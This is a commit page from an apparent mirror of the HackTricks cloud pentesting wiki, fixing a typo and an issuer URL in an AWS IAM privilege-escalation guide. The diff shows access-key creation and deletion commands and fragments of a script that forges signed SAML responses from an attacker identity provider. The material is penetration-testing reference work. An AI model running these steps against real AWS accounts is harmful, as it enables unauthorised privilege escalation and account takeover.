gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-04-28 12:03:08 -07:00
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #270 from thug-gamer/patch-1

Browse Source 
fix saml_forge.py script; fix typo
This commit is contained in:
SirBroccoli
2026-03-31 18:36:55 +02:00
committed by GitHub
parent 31812d3f9d 5abaa4136c
commit 0172f076fc
1 changed files with 3 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files

6
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
View File

@@ -50,7 +50,7 @@ aws iam create-access-key --user-name <target_user>
Note that a user can only have 2 access keys created, so if a user already has 2 access keys you will need the permission `iam:DeleteAccessKey` to detele one of them to be able to create a new one: Note that a user can only have 2 access keys created, so if a user already has 2 access keys you will need the permission `iam:DeleteAccessKey` to detele one of them to be able to create a new one:
```bash ```bash
aws iam delete-access-key --uaccess-key-id <key_id> aws iam delete-access-key --access-key-id <key_id>
``` ```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** ### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
@@ -437,7 +437,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
response.set("Destination", "https://signin.aws.amazon.com/saml") response.set("Destination", "https://signin.aws.amazon.com/saml")
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer")) issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker-idp.attacker.invalid/idp" issuer.text = "https://attacker-idp.invalid/idp"
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status")) status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode")) status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
@@ -449,7 +449,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
assertion.set("IssueInstant", issue_instant.isoformat()) assertion.set("IssueInstant", issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer")) a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker-idp.attacker.invalid/idp" a_issuer.text = "https://attacker-idp.invalid/idp"
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject")) subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID")) name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))